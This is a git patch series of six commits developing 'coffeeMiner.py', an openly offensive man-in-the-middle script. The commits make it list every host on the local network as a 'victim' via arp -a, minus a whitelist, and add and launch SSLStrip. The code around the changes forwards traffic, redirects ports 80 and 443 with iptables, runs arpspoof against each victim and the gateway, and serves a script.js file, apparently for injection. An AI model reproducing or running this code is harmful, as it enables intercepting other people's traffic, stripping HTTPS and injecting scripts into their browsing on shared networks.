From 974ab5e6183cea8d40a7618b8c7506f7224a9728 Mon Sep 17 00:00:00 2001 From: dotaxis Date: Mon, 8 Jan 2018 18:47:18 -0700 Subject: [PATCH 1/6] Update coffeeMiner.py --- coffeeMiner.py | 30 ++++++++++++++++++++++++------ 1 file changed, 24 insertions(+), 6 deletions(-) diff --git a/coffeeMiner.py b/coffeeMiner.py index 9ba4d7c..0403a1f 100644 --- a/coffeeMiner.py +++ b/coffeeMiner.py @@ -1,13 +1,31 @@ -import os -import sys - +import subprocess, re, os, sys + +def get_victims(): + whitelist = 'whitelist.txt' + victims = [] + ip_str = subprocess.check_output(['arp','-a']) # use arp -a to get connected devices + ip_list = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", ip_str) # use regex to turn the output into a list + + if not os.path.isfile(whitelist): + victims = ip_list + print("No %s! Continuing...") % whitelist + else: + for ip in ip_list: + if not ip in open('whitelist.txt').read(): + #add ip to victim's list if it's not in whitelist.txt + victims.append(ip) + else: + print("Skipping whitelisted ip %s") % ip + + return victims + #get gateway_ip (router) gateway = sys.argv[1] print("gateway: " + gateway) # get victims_ip -victims = [line.rstrip('\n') for line in open("victims.txt")] -print("victims:") -print(victims) +print("victims: ") +for victim in get_victims(): + print(victim) # configure routing (IPTABLES) os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") From 7c7b4994d5da77916dfe34bd45b89e7b1550313a Mon Sep 17 00:00:00 2001 From: dotaxis Date: Mon, 8 Jan 2018 18:59:48 -0700 Subject: [PATCH 2/6] Update coffeeMiner.py --- coffeeMiner.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/coffeeMiner.py b/coffeeMiner.py index 0403a1f..e5cf421 100644 --- a/coffeeMiner.py +++ b/coffeeMiner.py @@ -23,9 +23,10 @@ def get_victims(): gateway = sys.argv[1] print("gateway: " + gateway) # get victims_ip +victims = get_victims() print("victims: ") -for victim in get_victims(): - print(victim) +for v in victims: + print(v) # configure routing (IPTABLES) os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") From 3024e65fa3e871d9a827ac01d4fae8732930668b Mon Sep 17 00:00:00 2001 From: Amber Gairdner Date: Mon, 8 Jan 2018 19:20:05 -0700 Subject: [PATCH 3/6] Added SSLStrip --- .gitmodules | 3 +++ coffeeMiner.py | 2 ++ sslstrip | 1 + 3 files changed, 6 insertions(+) create mode 100644 .gitmodules create mode 160000 sslstrip diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..d8ae1c3 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "sslstrip"] + path = sslstrip + url = https://github.com/moxie0/sslstrip.git diff --git a/coffeeMiner.py b/coffeeMiner.py index e5cf421..3e2156f 100644 --- a/coffeeMiner.py +++ b/coffeeMiner.py @@ -34,6 +34,8 @@ os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE") os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080") os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080") +# run SSLStrip on port 8080 +os.system("python /sslstrip/sslstrip.py -l 8080") # run the arpspoof for each victim, each one in a new console for victim in victims: diff --git a/sslstrip b/sslstrip new file mode 160000 index 0000000..8dac387 --- /dev/null +++ b/sslstrip @@ -0,0 +1 @@ +Subproject commit 8dac3873890b25819a1c1191cbd5de96d3dba219 From f3b3299b51b1a610002e5e6ae9912d8a0ed89459 Mon Sep 17 00:00:00 2001 From: Chase Taylor Date: Mon, 8 Jan 2018 19:34:44 -0700 Subject: [PATCH 4/6] Revert "Added SSLStrip" This reverts commit 3024e65fa3e871d9a827ac01d4fae8732930668b. --- .gitmodules | 3 --- coffeeMiner.py | 2 -- sslstrip | 1 - 3 files changed, 6 deletions(-) delete mode 100644 .gitmodules delete mode 160000 sslstrip diff --git a/.gitmodules b/.gitmodules deleted file mode 100644 index d8ae1c3..0000000 --- a/.gitmodules +++ /dev/null @@ -1,3 +0,0 @@ -[submodule "sslstrip"] - path = sslstrip - url = https://github.com/moxie0/sslstrip.git diff --git a/coffeeMiner.py b/coffeeMiner.py index 3e2156f..e5cf421 100644 --- a/coffeeMiner.py +++ b/coffeeMiner.py @@ -34,8 +34,6 @@ os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE") os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080") os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080") -# run SSLStrip on port 8080 -os.system("python /sslstrip/sslstrip.py -l 8080") # run the arpspoof for each victim, each one in a new console for victim in victims: diff --git a/sslstrip b/sslstrip deleted file mode 160000 index 8dac387..0000000 --- a/sslstrip +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 8dac3873890b25819a1c1191cbd5de96d3dba219 From 0982f535b0edbc3defe8ecedbd212317a2e8aea0 Mon Sep 17 00:00:00 2001 From: Chase Taylor Date: Mon, 8 Jan 2018 19:37:15 -0700 Subject: [PATCH 5/6] Added SSLStrip 2.0 --- .gitmodules | 3 +++ coffeeMiner.py | 3 +++ sslstrip | 1 + 3 files changed, 7 insertions(+) create mode 100644 .gitmodules create mode 160000 sslstrip diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..ae7b16e --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "sslstrip"] + path = sslstrip + url = https://github.com/byt3bl33d3r/sslstrip2 diff --git a/coffeeMiner.py b/coffeeMiner.py index e5cf421..163eb18 100644 --- a/coffeeMiner.py +++ b/coffeeMiner.py @@ -39,6 +39,9 @@ os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRE for victim in victims: os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") + +# run SSLStrip on port 8000 +os.system("python sslstrip.py -l 8000 &") # start the http server for serving the script.js, in a new console os.system("xterm -hold -e 'python3 httpServer.py' &") diff --git a/sslstrip b/sslstrip new file mode 160000 index 0000000..8dac387 --- /dev/null +++ b/sslstrip @@ -0,0 +1 @@ +Subproject commit 8dac3873890b25819a1c1191cbd5de96d3dba219 From bc8c52e2edcaf1de23f7a48db630ff1cd2a7c4da Mon Sep 17 00:00:00 2001 From: Chase Taylor Date: Mon, 8 Jan 2018 19:45:46 -0700 Subject: [PATCH 6/6] Fixed typo on line 50 --- coffeeMiner.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/coffeeMiner.py b/coffeeMiner.py index 163eb18..9ad8b3f 100644 --- a/coffeeMiner.py +++ b/coffeeMiner.py @@ -41,7 +41,7 @@ for victim in victims: os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") # run SSLStrip on port 8000 -os.system("python sslstrip.py -l 8000 &") +os.system("python sslstrip/sslstrip.py -l 8000 &") # start the http server for serving the script.js, in a new console os.system("xterm -hold -e 'python3 httpServer.py' &")